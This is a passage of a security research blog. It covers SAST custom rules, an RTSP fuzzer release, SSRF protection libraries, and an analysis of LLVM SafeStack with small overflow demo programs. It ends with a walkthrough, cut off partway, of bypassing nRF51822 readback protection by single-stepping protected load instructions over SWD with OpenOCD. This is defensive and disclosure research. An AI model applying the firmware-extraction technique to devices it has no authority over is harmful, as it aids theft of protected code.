      end
    end
  end
  end

  def is_apicontroller controller
  # Only care about controllers derived from ApiController
  return controller.parent.to_s.include? "ApiController"
  end

end

Using this rule Brakeman found the same seven controllers with missing authorization as Semgrep.

Conclusion

So who is the winner of this showdown? For Ruby, both tools are valuable, there is no definitive winner in our comparison when we’re specificially talking about custom rules. Currently I think Semgrep edges out Brakeman a bit for writing quick and dirty custom checks on assessments, as it’s faster to get going but it does have slightly more false positives in our limited comparison testing.

Semgrep rules are fairly intuitive to write and self explanatory; Brakeman requires additional understanding by looking into its source code to understand its architecture and also there is the need to use existing rules as a guide. After creating a few Brakeman rules it gets a lot easier, but the initial learning curve was a bit higher than other SAST tools. However, Brakeman has some sophisticated features that Semgrep does not, especially the user-input tracing functionality, that weren’t really shown in these examples. If some dangerous function is identified and you need to see if any user input gets to it (source/sink flow), that is a great Brakeman use case. Also, Brakeman’s default ruleset is great and I use them on every Rails test I do.

Ultimately Semgrep and Brakeman are both great tools with quirks and particular use-cases and deserve to be in your arsenal of SAST tooling. Enormous thanks to both Clint from the Semgrep team and Justin the creator of Brakeman for providing feedback on this post!

The post Custom Static Analysis Rules Showdown: Brakeman vs. Semgrep appeared first on Include Security Research Blog.

Announcing RTSPhuzz — An RTSP Server Fuzzer

15 June 2020 at 14:00

There are many ways software is tested for faults, some of those faults end up originating from exploitable memory corruption situations and are labeled vulnerabilities. One popular method used to identify these types of faults in software is runtime fuzzing.

When developing servers that implement an RFC defined protocol, dynamically mutating the inputs and messages sent to the server is a good strategy for fuzzing. The Mozilla security team has used fuzzing internally to great effect on their systems and applications over the years. One area that Mozilla wanted to see more open source work in was fuzzing of streaming media protocols, specifically RTSP.

Towards that goal IncludeSec is today releasing https://github.com/IncludeSecurity/RTSPhuzz. We’re also excited to announce the work of the initial development of the tool has been sponsored by the Mozilla Open Source Support (MOSS) awards program. RTSPhuzz is provided as free and open unsupported software for the greater good of the maintainers and authors of RTSP services — FOSS and COTS alike!

RTSPhuzz is based on the boofuzz framework, it and connects as a client to target RTSP servers and fuzzes RTSP messages or sequences of messages. In the rest of this post we’ll cover some of the important bits to know about it. If you have an RTSP server, go ahead and jump right into our repo and shoot us a note to say hi if it ends up being useful to you.

Existing Approaches

We are aware of two existing RTSP fuzzers, StreamFUZZ and RtspFuzzer.

RtspFuzzer uses the Peach fuzzing framework to fuzz RTSP responses, however it targets RTSP client implementations, whereas our fuzzer targets RTSP servers.

StreamFUZZ is a Python script that does not utilize a fuzzing framework. Similar to our fuzzer, it fuzzes different parts of RTSP messages and sends them to a server. However, it is more simplistic; it doesn’t fuzz as many messages or header fields as our fuzzer, it does not account for the types of the fields it fuzzes, and it does not keep track of sessions for fuzzing sequences of messages.

Approach to Fuzzer Creation

The general approach for RTSPhuzz was to first review the RTSP RFC carefully, then define each of the client-to-server message types as boofuzz messages. RTSP headers were then distributed among the boofuzz messages in such a way that each is mutated by the boofuzz engine in at least one message, and boofuzz messages are connected in a graph to reasonably simulate RTSP sessions. Header values and message bodies were given initial reasonable default values to allow successful fuzzing of later messages in a sequence of messages. Special processing is done for several headers so that they conform to the protocol when different parts of messages are being mutated. The boofuzz fuzzing framework gives us the advantage of being able to leverage its built-in mutations, logging, and web interface.

Using RTSPhuzz

You can grab the code from github. Then, specify the server host, server port, and RTSP path to a media file on the target server:

RTSPhuzz.py --host target.server.host --port 554 --path test/media/file.mp3

Once RTSPhuzz is started, the boofuzz framework will open the default web interface on localhost port 26000, and will record results locally in a boofuzz-results/ directory. The web interface can be re-opened for the database from a previous run with boofuzz’s boo tool:

boo open <run-*.db>

See the RTSPhuzz readme for more detailed options and ways to run RTSPhuzz, and boofuzz’s documentation for more information on boofuzz.

Open Source and Continued Development

This is RTSPhuzz’s initial release for open use by all. We encourage you to try it out and share ways to improve the tool. We will review and accept PRs, address bugs where we can, and also would love to hear any shout-outs for any bugs you find with this tool (@includesecurity).

The post Announcing RTSPhuzz — An RTSP Server Fuzzer appeared first on Include Security Research Blog.

IncludeSec’s free training in Buenos Aries for our Argentine hacker friends.

29 April 2019 at 20:20

One of the things that has always been important in IncludeSec’s progress as a company is finding the best talent for the task at hand. We decided early on that if the best Python hacker in the world was not in the US then we would go find that person and work with them! Or whatever technology the project at hand is; C, Go, Ruby, Scala, Java, etc.

As it turns out the best Python hackers (and many other technologies) might actually be in Argentina. We’re not the only ones that have noticed this. Immunity Security, IOActive Security, Gotham Digital Science, and many others have a notable presence in Argentina (The NY Times even wrote an article on how great the hackers are there!) We’ve worked with dozens of amazing Argentinian hackers over the last six years comprising ~30% of our team and we’ve also enjoyed the quality of the security conferences like EkoParty in Buenos Aires.

As a small thank you to the entire Argentinian hacker scene, we’re going to do a free training class on May 30/31st 2019 teaching advanced web hacking techniques. This training is oriented towards hackers earlier in their career who have already experienced the world of OWASP top 10 and are looking to take their hacking skills to the next level.

If that sounds like you, you’re living in Argentina, and can make it to Buenos Aires on May 30th & 31st then this might be an awesome opportunity for you!

Please fill out the application here if this is something that would be awesome for you. We’ll close the application on May 10th.
https://docs.google.com/forms/d/e/1FAIpQLScrjV8wei7h-AY_kW7QwXZkYPDvSQswzUy6BTT9zg8L_Xejxg/viewform?usp=sf_link

Gracias,

Erik Cabetas
Managing Partner

The post IncludeSec’s free training in Buenos Aries for our Argentine hacker friends. appeared first on Include Security Research Blog.

Introducing: SafeURL – A set of SSRF Protection Libraries

At Include Security, we believe that a reactive approach to security can fall short when it’s not backed by proactive roots. We see new offensive tools for pen-testing and vulnerability analysis being created and released all the time. In regards to SSRF vulnerabilities, we saw an opportunity to release code for developers to assist in protecting against these sorts of security issues. So we’re releasing a new set of language specific libraries to help developers effectively protect against SSRF issues. In this blog post, we’ll introduce the concept of SafeURL; with details about how it works, as well as how developers can use it, and our plans for rewarding those who find vulnerabilities in it!

Preface: Server Side Request Forgery

Server Side Request Forgery (SSRF) is a vulnerability that gives an attacker the ability to create requests from a vulnerable server. SSRF attacks are commonly used to target not only the host server itself, but also hosts on the internal network that would normally be inaccessible due to firewalls.
SSRF allows an attacker to:

  • Scan and attack systems from the internal network that are not normally accessible
  • Enumerate and attack services that are running on these hosts
  • Exploit host-based authentication services

As is the case with many web application vulnerabilities, SSRF is possible because of a lack of user input validation. For example, a web application that accepts a URL input in order to go fetch that resource from the internet can be given a valid URL such as http://google.com
But the application may also accept URLs such as:

When those kinds of inputs are not validated, attackers are able to access internal resources that are not intended to be public.

Our Proposed Solution

SafeURL is a library, originally conceptualized as “SafeCURL” by Jack Whitton (aka @fin1te), that protects against SSRF by validating each part of the URL against a white or black list before making the request. SafeURL can also be used to validate URLs. SafeURL intends to be a simple replacement for libcurl methods in PHP and Python as well as java.net.URLConnection in Scala.
The source for the libraries are available on our Github:

  1. SafeURL for PHP – Primarily developed by @fin1te
  2. SafeURL for Python – Ported by @nicolasrod
  3. SafeURL for Scala – Ported by @saelo

Other Mitigation Techniques

Our approach is focused on protection on the application layer. Other techniques used by some Silicon Valley companies to combat SSRF include:

  • Setting up wrappers for HTTP client calls which are forwarded to a single-purposed proxy that prevents it from talking to any internal hosts based on firewall rules as the HTTP requests are proxied
  • At the application server layer, hijack all socket connections to ensure they meet a developer configured policy by enforcing iptables rules or more advanced interactions with the app server’s networking layer

Installation

PHP

SafeURL can be included in any PHP project by cloning the repository on our Github and importing it into your project.

Python

SafeURL can be used in Python apps by cloning the repository on our Github and importing it like this:

from safeurl import safeurl

Scala

To use SafeURL in Scala applications, clone the repository and store in the app/ folder of your Play application and import it.

import com.includesecurity.safeurl._

Usage

PHP

SafeURL is designed to be a drop-in replacement for the curl_exec() function in PHP. It can simply be replaced with SafeURL::execute() wrapped in a try {} catch {} block.

try {
    $url = "http://www.google.com";

    $curlHandle = curl_init();
    //Your usual cURL options
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (SafeURL)");

    //Execute using SafeURL
    $response = SafeURL::execute($url, $curlHandle);
} catch (Exception $e) {
    //URL wasn"t safe
}

Options such as white and black lists can be modified. For example:

$options = new Options();
$options->addToList("blacklist", "domain", "(.*)\.fin1te\.net");
$options->addToList("whitelist", "scheme", "ftp");

//This will now throw an InvalidDomainException
$response = SafeURL::execute("http://example.com", $curlHandle, $options);

//Whilst this will be allowed, and return the response
$response = SafeURL::execute("ftp://example.com", $curlHandle, $options);

Python

SafeURL serves as a replacement for PyCurl in Python.

try:
  su = safeurl.SafeURL()
  res = su.execute("https://example.com";)
except:
  print "Unexpected error:", sys.exc_info()

Example of modifying options:

try:
    sc = safeurl.SafeURL()

    opt = safeurl.Options()
    opt.clearList("whitelist")
    opt.clearList("blacklist")
    opt.setList("whitelist", [ 
    "google.com" , "youtube.com"], "domain")

    su.setOptions(opt)
    res = su.execute("http://www.youtube.com")
except:
    print "Unexpected error:", sys.exc_info()

Scala

SafeURL replaces the JVM Class URLConnection that is normally used in Scala.

try {
  val resp = SafeURL.fetch("http://google.com")
  val r = Await.result(resp, 500 millis)
} catch {
  //URL wasnt safe

Options:

SafeURL.defaultConfiguration.lists.ip.blacklist ::= "12.34.0.0/16"
SafeURL.defaultConfiguration.lists.domain.blacklist ::= "example.com"

Demo, Bug Bounty Contest, and Further Contributions

An important question to ask is: Is SafeURL really safe? Don’t take our word for it. Try to hack it yourself! We’re hosting live demo apps in each language for anyone to try and bypass SafeURL and perform a successful SSRF attack. On each site there is a file called key.txt on the server’s local filesystem with the following .htaccess policy:

<Files key.txt>
Order deny,allow
Deny from allow
Allow from 127.0.0.1

ErrorDocument 403 /oops.html
</Files>

If you can read the contents of the file through a flaw in SafeURL and tell us how you did it (patch plz?), we will contact you about your reward. As a thank you to the community, we’re going to reward up to one Bitcoin for any security issues. If you find a non-security bug in the source of any of our libraries, please contact us as well you’ll have our thanks and a shout-out.
The challenges are being hosted at the following URLs:
PHP: safeurl-php.excludesecurity.com
Python: safeurl-python.excludesecurity.com
Scala: safeurl-scala.excludesecurity.com

If you can contribute a Pull Request and port the SafeURL concept to other languages (such as Java, Ruby, C#, etc.) we could throw you you some Bitcoin as a thank you.

Good luck and thanks for helping us improve SafeURL!

The post Introducing: SafeURL – A set of SSRF Protection Libraries appeared first on Include Security Research Blog.

Strengths and Weaknesses of LLVM’s SafeStack Buffer Overflow Protection

12 November 2015 at 21:00

Introduction

In June 2015, a new memory corruption exploit mitigation named SafeStack was merged into the llvm development branch by Peter Collingbourne from Google and will be available with the upcoming 3.8 release. SafeStack was developed as part of the Code Pointer Integrity (CPI) project but is also available as stand-alone mitigation. We like to stay ahead of the curve on security, so this post aims to discuss the inner workings and the security benefits of SafeStack for consideration in future attacks and possible future improvements to the feature.

SafeStack in a Nutshell

SafeStack is a mitigation similar to (but potentially more powerful than) Stack Cookies. It tries to protect critical data on the stack by separating the native stack into two areas: A safe stack, which is used for control flow information as well as data that is only ever accessed in a safe way (as determined through static analysis). And an unsafe stack which is used for everything else that is stored on the stack. The two stacks are located in different memory regions in the process’s address space and thus prevent a buffer overflow on the unsafe stack from corrupting anything on the safe stack.

SafeStack promises a generally good protection against common stack based memory corruption attacks while introducing only a low performance overhead (around 0.1% on average according to the documentation) when implemented.

When SafeStack is enabled, the stack pointer register (esp/rsp on x86/x64 respectively) will be used for the safe stack while the unsafe stack is tracked by a thread-local variable. The unsafe stack is allocated during initialization of the binary by mmap’ing a region of readable and writable memory and preceding this region with a guard page, presumably to catch stack overflows in the unsafe stack region.

SafeStack is (currently) incompatible with Stack Cookies and disables them when it is used.

Implementation Details

SafeStack is implemented as an llvm instrumentation pass, the main logic is implemented in lib/Transforms/Instrumentation/SafeStack.cpp. The instrumentation pass runs as one of the last steps before (native) code generation.

More technically: The instrumentation pass works by examining all “alloca” instructions in the intermediate representation (IR) of a function (clang first compiles the code into llvm’s intermediate representation and later, after various instrumentation/optimization passes, translates the IR into machine code). An “alloca” instruction allocates space on the stack for a local variable or array. The SafeStack instrumentation pass then traverses the list of instructions that make use of this variable and determines whether these accesses are safe or not. If any access is determined to be “unsafe” by the instrumentation pass, the “alloca” instruction is replaced by code that allocates space on the unsafe stack instead and the instructions using the variable are updated accordingly.

The IsSafeStackAlloc function is responsible for deciding whether a stack variable can ever be accessed in an “unsafe” way. The definition of “unsafe” is currently rather conservative: a variable is relocated to the unsafe stack in the following cases:

  • a pointer to the variable is stored somewhere in memory
  • an element of an array is accessed with a non-constant index (i.e. another variable)
  • a variable sized array is accessed (with constant or non-constant index)
  • a pointer to the variable is given to a function as argument

The SafeStack runtime support, which is responsible for allocating and initializing the unsafe stack, can be found here. As previously mentioned, the unsafe stack is just a regular mmap’ed region.

Exploring SafeStack: Implementation in Practice

Let’s now look at a very simple example to understand how SafeStack works under the hood. For my testing I compiled clang/llvm from source following this guide: http://clang.llvm.org/get_started.html

We’ll use the following C code snippet:

void function(char *str) {
    char buffer[16];
    strcpy(buffer, str);
}

Let’s start by looking at the generated assembly when no stack protection is used. For that we compile with “clang -O1 example.c” (optimization is enabled to reduce noise)

0000000000400580 <function>:
  400580:    48 83 ec 18            sub    rsp,0x18
  400584:    48 89 f8               mov    rax,rdi
  400587:    48 8d 3c 24            lea    rdi,[rsp]
  40058b:    48 89 c6               mov    rsi,rax
  40058e:    e8 bd fe ff ff         call   400450 <[email protected]>
  400593:    48 83 c4 18            add    rsp,0x18
  400597:    c3                     ret


Easy enough. The function allocates space on the stack for the buffer at 400580, then calls strcpy with a pointer to the buffer at 40058e. 

Now let’s look at the assembly code generated when using Stack Cookies. For that we need to use the -fstack-protector flag (available in gcc and clang): “clang -O1 -fstack-protector example.c”:

00000000004005f0 <function>:
  4005f0:    48 83 ec 18            sub    rsp,0x18
  4005f4:    48 89 f8               mov    rax,rdi
  4005f7:    64 48 8b 0c 25 28 00   mov    rcx,QWORD PTR fs:0x28
  4005fe:    00 00
  400600:    48 89 4c 24 10         mov    QWORD PTR [rsp+0x10],rcx
  400605:    48 8d 3c 24            lea    rdi,[rsp]
  400609:    48 89 c6               mov    rsi,rax
  40060c:    e8 9f fe ff ff         call   4004b0 <[email protected]>
  400611:    64 48 8b 04 25 28 00   mov    rax,QWORD PTR fs:0x28
  400618:    00 00
  40061a:    48 3b 44 24 10         cmp    rax,QWORD PTR [rsp+0x10]
  40061f:    75 05                  jne    400626 <function+0x36>
  400621:    48 83 c4 18            add    rsp,0x18
  400625:    c3                     ret
  400626:    e8 95 fe ff ff         call   4004c0 <[email protected]>

At 4005f7 the master cookie (the reference value of the cookie) is read from the Thread Control Block (TCB which is a per thread data structure provided by libc) and put on the stack, below the return address. Later, at 40061a,  that value is then compared with the value in the TCB before the function returns. If the two values do not match, __stack_chk_fail is called which terminates the process with a message similar to this one: “*** stack smashing detected ***: ./example terminated“.

Now we’ll enable SafeStack by using the -fsanitize=safe-stack flag: “clang -O1 -fsanitize=safe-stack example.c”:

0000000000410d70 <function>:
  410d70:   41 56                  push   r14
  410d72:   53                     push   rbx
  410d73:   50                     push   rax
  410d74:   48 89 f8               mov    rax,rdi
  410d77:   4c 8b 35 6a 92 20 00   mov    r14,QWORD PTR [rip+0x20926a]
  410d7e:   64 49 8b 1e            mov    rbx,QWORD PTR fs:[r14]
  410d82:   48 8d 7b f0            lea    rdi,[rbx-0x10]
  410d86:   64 49 89 3e            mov    QWORD PTR fs:[r14],rdi
  410d8a:   48 89 c6               mov    rsi,rax
  410d8d:   e8 be 00 ff ff         call   400e50 <[email protected]>
  410d92:   64 49 89 1e            mov    QWORD PTR fs:[r14],rbx
  410d96:   48 83 c4 08            add    rsp,0x8
  410d9a:   5b                     pop    rbx
  410d9b:   41 5e                  pop    r14
  410d9d:   c3                     ret

At 410d7e the current value of the unsafe stack pointer is retrieved from Thread Local Storage (TLS). Since each thread also has it’s own unsafe stack, the stack pointer for the unsafe stack gets stored as a thread local variable. Next, at 410d82, the program allocates space for our buffer on the unsafe thread and writes the new value back to the TLS (410d86). It then calls the strcpy function with a pointer into the unsafe stack. In the function epilog (410d92), the old value of the unsafe stack pointer is written back into TLS (Basically, these instruction do the equivalent of “sub rsp, x; … add rsp, x”, but for the unsafe stack) and the function returns.

If we compile our program with the “-fsanitize=safe-stack option” and an overflow occurs, the saved return address (on the safe stack) is unaffected and the program likely segfaults as it tries to write behind the unsafe stack into unmapped/unwritable memory.

Security Details: Stack Cookies vs. SafeStack

While Stack Cookies provide fairly good protection against stack corruption exploits, the security measure in general has a few weaknesses. In particular, bypasses are possible in at least the following scenarios:

  • The vulnerability in code is a non-linear overflow/arbitrary relative write on the stack. In this case the cookie can simply be “skipped over”.
  • Data (e.g. function pointers) further up the stack can be corrupted and are used before the function returns.
  • The attacker has access to an information leak. Depending on the nature of the leak, the attacker can either leak the cookie from the stack directly or leak the master cookie. Once obtained, the attacker overflows the stack and overwrites the cookie again with the value obtained in the information leak.
  • In the case of weak entropy. If not enough entropy is available during generation of the cookie value, an attacker may be able to calculate the correct cookie value.
  • In the case of a forking service, the stack cookie value will stay the same for all child processes. This may make it possible to bruteforce the stack cookie value byte-by-byte, overwriting only a single byte of the cookie and observing whether the process crashes (wrong guess) or continues past the next return statement (correct guess). This would require at most 255 tries per unknown stack cookie byte.

It is important to note however, that most stack based overflows that are caused by functions operating on C strings (e.g. strcpy) are unexploitable when compiled with stack cookies enabled. As most stack cookie implementations usually force one of the bytes of the stack cookie to be a zero byte which makes string overwriting past that impossible with a C string (it’s still possible with a network buffer and raw memory copy though).

Possible Implementation bugs aside, SafeStack is, at least in theory, immune to all of these due to the separation of the memory regions.

However, what SafeStack (by design) does not protect against is corruption of data on the unsafe stack. Or, phrased differently, the security of SafeStack is based around the assumption that no critical data is stored on the unsafe stack.

Moreover, in contrast to Stack Cookies, SafeStack does not prevent the callee from corrupting data of the caller (more precisely, Stack Cookies prevent the caller from using the corrupted data after the callee returns). The following example demonstrates this:

void smash_me() {
    char buffer[16];
    gets(buffer);
}

int main() {
    char buffer[16];
    memset(buffer, 0, sizeof(buffer));
    smash_me();
    puts(buffer);
    return 0;
}

Compiling this code with “-fsanitize=safe-stack” and supplying more than 16 bytes as input will overflow into the buffer of main() and corrupt its content. In contrast, when compiled with “-fstack-protector”, the overflow will be detected and the process terminated before main() uses the corrupted buffer.
This weakness could be (partially) addressed by using Stack Cookies in addition to SafeStack. In this scenario, the master cookie could even be stored on the safe stack and regenerated for every function call (or chain of function calls). This would further protect against some of the weaknesses of plain Stack Cookies as described above.

The lack of unsafe stack protections combined with the conservativeness of the current definition of “unsafe” in the implementation potentially provides an attacker with enough critical data on the unsafe stack to compromise the application. As an example, we’ll devise a, more or less, realistic piece of code that will result in the (security critical) variable ‘pl’ being placed on the unsafe stack, above ‘buffer’ (Although it seems that enabling optimization during compilation causes less variables to be placed on the unsafe stack):

void determine_privilege_level(int *pl) {
    // dummy function
    *pl = 0x42;
}

int main() {
    int pl;
    char buffer[16];
    determine_privilege_level(&pl);
    gets(buffer);             // This can overflow and corrupt 'pl'
    printf("privilege level: %xn", pl);
    return 0;
}

This “data-only” attack is possible due to the fact that the current implementation never recurses into called functions but rather considers (most) function arguments as unsafe.

The risk of corrupting critical data on the unsafe stack can however be greatly decreased through improved static analysis, variable reordering, and, as mentioned above, by protecting the callee’s unsafe stack frame.

It should also be noted that the current implementation does not protect the safe stack in any other way besides system level ASLR. This means that an information leak combined with an arbitrary write primitive will still allow an attacker to overwrite the return address (or other data) on the safe stack. See the comment at the top of the runtime support implementation for more information. Finally we should mention there has been an academic study that points out some additional detail regarding CPI.

Conclusion

With the exceptions noted above, SafeStack’s implemented security measures are a superset of those of Stack Cookies, allowing it to prevent exploitation of stack based vulnerabilities in many scenarios. This combined with the low performance overhead could make SafeStack a good choice during compilation in the future.

SafeStack is still in its early stages, but it looks to be a very promising new addition to a developer’s arsenal of compiler provided exploit mitigations. We wouldn’t call it the end-all of buffer overflows, but it’s a significant hurdle for attackers to overcome.

The post Strengths and Weaknesses of LLVM’s SafeStack Buffer Overflow Protection appeared first on Include Security Research Blog.

Firmware dumping technique for an ARM Cortex-M0 SoC

5 November 2015 at 20:00

One of the first major goals when reversing a new piece of hardware is getting a copy of the firmware. Once you have access to the firmware, you can reverse engineer it by disassembling the machine code.

Sometimes you can get access to the firmware without touching the hardware, by downloading a firmware update file for example. More often, you need to interact with the chip where the firmware is stored. If the chip has a debug port that is accessible, it may allow you to read the firmware through that interface. However, most modern chips have security features that when enabled, prevent firmware from being read through the debugging interface. In these situations, you may have to resort to decapping the chip, or introducing glitches into the hardware logic by manipulating inputs such as power or clock sources and leveraging the resulting behavior to successfully bypass these security implementations.

This blog post is a discussion of a new technique that we’ve created to dump the firmware stored on a particular Bluetooth system-on-chip (SoC), and how we bypassed that chip’s security features to do so by only using the debugging interface of the chip. We believe this technique is a vulnerability in the code protection features of this SoC and as such have notified the IC vendor prior to publication of this blog post.

The SoC

The SoC in question is a Nordic Semiconductor nRF51822. The nRF51822 is a popular Bluetooth SoC with an ARM Cortex-M0 CPU core and built-in Bluetooth hardware. The chip’s manual is available here.

Chip security features that prevent code readout vary in implementation among the many microcontrollers and SoCs available from various manufacturers, even among those that use the same ARM cores. The nRF51822’s code protection allows the developer to prevent the debugging interface from being able to read either all of code and memory (flash and RAM) sections, or a just a subsection of these areas. Additionally, some chips have options to prevent debugger access entirely. The nRF51822 doesn’t provide such a feature to developers; it just disables memory accesses through the debugging interface.

The nRF51822 has a serial wire debug (SWD) interface, a two-wire (in addition to ground) debugging interface available on many ARM chips. Many readers may be familiar with JTAG as a physical interface that often provides access to hardware and software debugging features of chips. Some ARM cores support a debugging protocol that works over the JTAG physical interface; SWD is a different physical interface that can be used to access the same software debugging features of a chip that ARM JTAG does. OpenOCD is an open source tool that can be used to access the SWD port.

This document contains a pinout diagram of the nRF51822. Luckily the hardware target we were analyzing has test points connected to the SWDIO and SWDCLK chip pins with PCB traces that were easy to follow. By connecting to these test points with a SWD adapter, we can use OpenOCD to access the chip via SWD. There are many debug adapters supported by OpenOCD, some of which support SWD.

Exploring the Debugger Access

Once OpenOCD is connected to the target, we can run debugging commands, and read/write some ARM registers, however we are prevented from reading out the code section. In the example below, we connect to the target with OpenOCD and attempt to read memory sections from the target chip. We proceed to reset the processor and read from the address 0x00000000 and the address that we determine is in the program counter (pc) register (0x000114cc), however nothing but zeros is returned. Of course we know there is code there, but the code protection counter-measures are preventing us from accessing it:

> reset halt
target state: halted
target halted due to debug-request, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0
> mdw 0x00000000
0x00000000: 00000000
> mdw 0x000114cc 10
0x000114cc: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0x000114ec: 00000000 00000000

We can however read and write CPU registers, including the program counter (pc), and we can single-step through instructions (we just don’t know what instructions, since we can’t read them):

> reg r0 0x12345678
r0 (/32): 0x12345678
> step
target state: halted
target halted due to single-step, current mode: Thread 
xPSR: 0xc1000000 pc: 0x000114ce msp: 0x20001bd0
> reg pc 0x00011500
pc (/32): 0x00011500
> step
target state: halted
target halted due to single-step, current mode: Thread 
xPSR: 0xc1000000 pc: 0x00011502 msp: 0x20001bd0

We can also read a few of the memory-mapped configuration registers. Here we are reading a register named “RBPCONF” (short for readback protection) in a collection of registers named “UICR” (User Information Configuration Registers); you can find the address of this register in the nRF51 Series Reference Manual:

> mdw 0x10001004
0x10001004: ffff00ff

According to the manual, a value of 0xffff00ff in the RBPCONF register means “Protect all” (PALL) is enabled (bits 15..8, labeled “B” in this table, are set to 0), and “Protect region 0” (PR0) is disabled (bits 7..0, labeled “A”, are set to1):

The PALL feature being enabled is what is responsible for preventing us from accessing the code section and subsequently causing our read commands to return zeros.

The other protection feature, PR0, is not enabled in this case, but it’s worth mentioning because the protection bypass discussed in this article could bypass PR0 as well. If enabled, it would prevent the debugger from reading memory below a configurable address. Note that flash (and therefore the firmware we want) exists at a lower address than RAM. PR0 also prevents code running outside of the protected region from reading any data within the protected region.

Unfortunately, it is not possible to disable PALL without erasing the entire chip, wiping away the firmware with it. However, it is possible to bypass this readback protection by leveraging our debug access to the CPU.

Devising a Protection Bypass

An initial plan to dump the firmware via a debugging interface might be to load some code into RAM that reads the firmware from flash into a RAM buffer that we could then read. However, we don’t have access to RAM because PALL is enabled. Even if PALL were disabled, PR0 could have been enabled, which would prevent our code in RAM (which would be the unprotected region) from reading flash (in the protected region). This plan won’t work if either PALL or PR0 is enabled.

To bypass the memory protections, we need a way to read the protected data and we need a place to write it that we can access. In this case, only code that exists in protected memory can read protected memory. So our method of reading data will be to jump to an instruction in protected memory using our debugger access, and then to execute that instruction. The instruction will read the protected data into a CPU register, at which time we can then read the value out of the CPU register using our debugger access. How do we know what instruction to jump to? We’ll have to blindly search protected memory for a load instruction that will read from an address we supply in a register. Once we’ve found such an instruction, we can exploit it to read out all of the firmware.

Finding a Load Instruction

Our debugger access lets us write to the pc register in order to jump to any instruction, and it lets us single step the instruction execution. We can also read and write the contents of the general purpose CPU registers. In order to read from the protected memory, we have to find a load word instruction with a register operand, set the operand register to a target address, and execute that one instruction. Since we can’t read the flash, we don’t know what instructions are where, so it might seem difficult to find the right instruction. However, all we need is an instruction that reads memory from an address in some register to a register, which is a pretty common operation. A load word instruction would work, or a pop instruction, for example.

We can search for the right instruction using trial and error. First, we set the program counter to somewhere we guess a useful instruction might be. Then, we set all the CPU registers to an address we’re interested in and then single step. Next we examine the registers. If we are lucky, the instruction we just executed loaded data from an address stored in another register. If one of the registers has changed to a value that might exist at the target address, then we may have found a useful load instruction.

We might as well start at the reset vector – at least we know there are valid instructions there. Here we’re resetting the CPU, setting the general purpose registers and stack pointer to zero (the address we’re trying), and single stepping, then examining the registers:

> reset halt
target state: halted
target halted due to debug-request, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0
> reg r0 0x00000000
r0 (/32): 0x00000000
> reg r1 0x00000000
r1 (/32): 0x00000000
> reg r2 0x00000000
r2 (/32): 0x00000000
> reg r3 0x00000000
r3 (/32): 0x00000000
> reg r4 0x00000000
r4 (/32): 0x00000000
> reg r5 0x00000000
r5 (/32): 0x00000000
> reg r6 0x00000000
r6 (/32): 0x00000000
> reg r7 0x00000000
r7 (/32): 0x00000000
> reg r8 0x00000000
r8 (/32): 0x00000000
> reg r9 0x00000000
r9 (/32): 0x00000000
> reg r10 0x00000000
r10 (/32): 0x00000000
> reg r11 0x00000000
r11 (/32): 0x00000000
> reg r12 0x00000000
r12 (/32): 0x00000000
> reg sp 0x00000000
sp (/32): 0x00000000
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114ce msp: 00000000
> reg
===== arm v7m registers
(0) r0 (/32): 0x00000000
(1) r1 (/32): 0x00000000
(2) r2 (/32): 0x00000000
(3) r3 (/32): 0x10001014
(4) r4 (/32): 0x00000000
(5) r5 (/32): 0x00000000
(6) r6 (/32): 0x00000000
(7) r7 (/32): 0x00000000
(8) r8 (/32): 0x00000000
(9) r9 (/32): 0x00000000
(10) r10 (/32): 0x00000000
(11) r11 (/32): 0x00000000
(12) r12 (/32): 0x00000000
(13) sp (/32): 0x00000000
(14) lr (/32): 0xFFFFFFFF
(15) pc (/32): 0x000114CE
(16) xPSR (/32): 0xC1000000
(17) msp (/32): 0x00000000
(18) psp (/32): 0xFFFFFFFC
(19) primask (/1): 0x00
(20) basepri (/8): 0x00
(21) faultmask (/1): 0x00
(22) control (/2): 0x00
===== Cortex-M DWT registers
(23) dwt_ctrl (/32)
(24) dwt_cyccnt (/32)
(25) dwt_0_comp (/32)
(26) dwt_0_mask (/4)
(27) dwt_0_function (/32)
(28) dwt_1_comp (/32)
(29) dwt_1_mask (/4)
(30) dwt_1_function (/32)

Looks like r3 was set to 0x10001014. Is that the value at address zero? Let’s see what happens when we load the registers with four instead:

> reset halt
target state: halted
target halted due to debug-request, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0
> reg r0 0x00000004
r0 (/32): 0x00000004
> reg r1 0x00000004
r1 (/32): 0x00000004
> reg r2 0x00000004
r2 (/32): 0x00000004
> reg r3 0x00000004
r3 (/32): 0x00000004
> reg r4 0x00000004
r4 (/32): 0x00000004
> reg r5 0x00000004
r5 (/32): 0x00000004
> reg r6 0x00000004
r6 (/32): 0x00000004
> reg r7 0x00000004
r7 (/32): 0x00000004
> reg r8 0x00000004
r8 (/32): 0x00000004
> reg r9 0x00000004
r9 (/32): 0x00000004
> reg r10 0x00000004
r10 (/32): 0x00000004
> reg r11 0x00000004
r11 (/32): 0x00000004
> reg r12 0x00000004
r12 (/32): 0x00000004
> reg sp 0x00000004
sp (/32): 0x00000004
> step
target state: halted
target halted due to single-step, current mode: Thread
xPSR: 0xc1000000 pc: 0x000114ce msp: 0x00000004
> reg
===== arm v7m registers
(0) r0 (/32): 0x00000004
(1) r1 (/32): 0x00000004
(2) r2 (/32): 0x00000004
(3) r3 (/32): 0x10001014
(4) r4 (/32): 0x00000004
(5) r5 (/32): 0x00000004
(6) r6 (/32): 0x00000004
(7) r7 (/32): 0x00000004
(8) r8 (/32): 0x00000004
(9) r9 (/32): 0x00000004
(10) r10 (/32): 0x00000004
(11) r11 (/32): 0x00000004
(12) r12 (/32): 0x00000004
(13) sp (/32): 0x00000004
(14) lr (/32): 0xFFFFFFFF
(15) pc (/32): 0x000114CE
(16) xPSR (/32): 0xC1000000
(17) msp (/32): 0x00000004
(18) psp (/32): 0xFFFFFFFC
(19) primask (/1): 0x00
(20) basepri (/8): 0x00
(21) faultmask (/1): 0x00
(22) control (/2): 0x00
===== Cortex-M DWT registers
(23) dwt_ctrl (/32)
(24) dwt_cyccnt (/32)
(25) dwt_0_comp (/32)
(26) dwt_0_mask (/4)
(27) dwt_0_function (/32)
(28) dwt_1_comp (/32)
(29) dwt_1_mask (/4)
(30) dwt_1_function (/32)

